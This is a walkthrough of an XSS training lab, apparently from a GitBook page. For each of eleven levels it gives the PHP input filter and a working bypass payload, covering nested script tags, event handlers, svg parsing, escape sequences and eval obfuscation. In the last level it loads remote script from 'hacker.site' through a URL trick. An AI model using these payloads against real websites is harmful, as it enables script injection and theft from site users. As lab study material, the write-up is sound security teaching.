# XSS Labs

## Level 1

```php
function Sanitizer($search){
  // Let's start...
  return 'Your search "<b>' . $search . '</b>" did not match any products';
}
```

```javascript
<script>alert('l33t');</script>
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2F2ZNt4gIsQwkSo4q5fndH%2Fimage.png?alt=media&#x26;token=19dec47b-063e-49d6-b010-1a13a5d0878a" alt=""><figcaption></figcaption></figure>

## Level 2

```php
function Sanitizer($search){
  //To script, or not script.. 
  $search = preg_replace('#<script([\s])*>#is', NOSCRIPT, $search);
   
  return 'Your search "<b>' + $search + '</b>" did not match any products';
}
```

```javascript
<script <script>>alert('l33t')</script>
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FUyLZqlogfJEkWeNXTHjW%2Fimage.png?alt=media&#x26;token=1bc52a2d-0f01-447a-8833-83857c84d6c2" alt=""><figcaption></figcaption></figure>

## Level 3

```php
function Sanitizer($search){
  //To script, or not script... this is no more the problem
  $search = preg_replace('#<script(.*?)>#is', NOSCRIPT, $search);
   
  return 'Your search "<b>' + $search + '</b>" did not match any products';
}
```

```javascript
<IMG SRC=/ onerror="alert('l33t')"></img>
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2F2MLHdOsqSUWQkBU4rzhC%2Fimage.png?alt=media&#x26;token=e397347e-5c9e-429a-b755-3bc73cb037d8" alt=""><figcaption></figcaption></figure>

## Level 4

```php
function Sanitizer($search){
  //Script must be closed, here's a stronger filter... isn't it? 
  $search = preg_replace('#<script(.*?)>(.*?)</script(.*)?>#is', NOSCRIPT, $search);
  //No ON no party!  
  $search = preg_replace('#(on\w+\s*=)#s', NOEVENTS, $search);
  
  return 'Your search "<b>' + $search + '</b>" did not match any products';
}
```

```javascript
<svg><x><script>alert('l33t')
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FebMzb4H7MD3BAoitqXf6%2Fimage.png?alt=media&#x26;token=75598e79-9f3e-4ab2-973b-b4369b2203eb" alt=""><figcaption></figcaption></figure>

## Level 5

```php
function Sanitizer($search){
  //No ON no party!  
  $search = preg_replace('#(on\w+\s*=)#s', NOEVENTS, $search);
  //No Functions no party! 
  $search = preg_replace('#[()]#s', NOFUNCTIONS, $search);
   
  return 'Your search "<b>' + $search + '</b>" did not match any products';
}
```

```javascript
<svg><script>alert('l33t')</script>
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2Fl3AgfNAh4BEjVJuqD240%2Fimage.png?alt=media&#x26;token=ac7e130c-8869-4208-b54b-90b3925c7f53" alt=""><figcaption></figcaption></figure>

## Level 6

```php
function Sanitizer($search){
  //No alert no party!  
  $search = preg_replace('#alert#is', NOALERT, $search);

   
  return 'Your search "<b>' + $search + '</b>" did not match any products';
}
```

```javascript
<script>\u0061lert('l33t')</script>
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FwyuTrzUGnUeP1emomNXt%2Fimage.png?alt=media&#x26;token=209afb62-4415-405b-b9ae-1c533f0710ba" alt=""><figcaption></figcaption></figure>

## Level 7

```php
function Sanitizer($search){
  // No Unicode escaping.. there are a lot of smart guys out of there...
  // Thanks to stackoverflow.com > http://bit.ly/SO_decode_unicode
  $search = preg_replace_callback('/\\\\u([0-9a-fA-F]{4})/', function ($m) {
    return mb_convert_encoding(pack('H*', $m[1]), 'UTF-8', 'UCS-2BE');
  }, $search);
   
  //No alert no party!  
  $search = preg_replace('#alert#is', NOALERT, $search);

  return 'Your search "<b>' + $search + '</b>" did not match any products';
}
```

```javascript
<script>eval("\x61lert('l33t')")</script>
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FnvaATrRxc5ftrybMQgeU%2Fimage.png?alt=media&#x26;token=8d65c095-450e-4086-8cfc-0f4371b05312" alt=""><figcaption></figcaption></figure>

## Level 8

```php
function Sanitizer($search){
  // Breaking bad... 
   
  //No alert no party!  
  $search = preg_replace('#alert#is', NOALERT, $search);

  return <<<RESULT
   No products here.. 
   <!-- todo: debug this -->
   <script>
      //console.debug( $search );
   </script>
RESULT;
}
```

```javascript
<script>eval("\x61lert('l33t')")</script>
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FsHJgjDOWCDREu5oIEa8F%2Fimage.png?alt=media&#x26;token=bbf7325a-509d-4c46-8c94-45bb4e48b9d6" alt=""><figcaption></figcaption></figure>

## Level 9

```php
function Sanitizer($search){
  // Breaking bad... more stronger
   $search = preg_replace('#[\n\r]#', "", $search);
   
  //No alert no party!  
  $search = preg_replace('#alert#is', NOALERT, $search);

  return <<<RESULT
   No products here.. 
   <!-- todo: debug this -->
   <script>
      //console.debug( $search );
   </script>
RESULT;
}
```

```javascript
<script>eval("\x61lert('l33t')")</script>
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2Ffzkt7wja5XcjWBR9JXzA%2Fimage.png?alt=media&#x26;token=d627c9cb-825d-4f18-bd69-1a800bd1085a" alt=""><figcaption></figcaption></figure>

## Level 10

```php
function Sanitizer($search){
  // No more string ...
  $search = preg_replace('#[\'"+]#', "", $search);
  // ... no more alert ...  
  $search = preg_replace('#alert#is', NOALERT, $search);
  // ... no no more alternative ways!
  $search = preg_replace('#.source#is', "", $search);
  $search = preg_replace('#.fromCharCode#is', "", $search);

  return 'Your search "<b>' + $search + '</b>" did not match any products';
}
```

```javascript
<script>eval(8680439..toString(30))(983801..toString(36))</script>
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2F9LYf7VCdxBpvUhupUqx6%2Fimage.png?alt=media&#x26;token=8b28f385-091e-44b3-aa48-5b7a34c60492" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FBsQOFjaqv5LIGOjGSF6F%2Fimage.png?alt=media&#x26;token=c5a959c1-a930-4086-8558-6c68d17f5219" alt=""><figcaption></figcaption></figure>

## Level 11

```php
function Sanitizer($search){
   // No scripts from untrusted origins or you'll see a nice gorilla
   preg_match('#^(?:https?:)?\/\/11.xss.labs\/#is', urldecode($search), $matches);   
   if(empty($matches)) $search = "...untrusted...";   

   // don't break the src tag   
   $search = preg_replace('#"#', "", $search);
   // ehehe and now? Are you still a ninja?
   $search = strtoupper($search);
}
```

Host a file x.js on the local machine with the below contents.

```javascript
function myFunction() {
  eval(8680439..toString(30))(983801..toString(36))
}  
myFunction();
```

```
http://11.xss.labs%2F@hacker.site/x.js
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FI28QdiOVIqIH9bi6LZZI%2Fimage.png?alt=media&#x26;token=e230f8bd-7ac8-4232-922c-b2aa77fad83a" alt=""><figcaption></figcaption></figure>
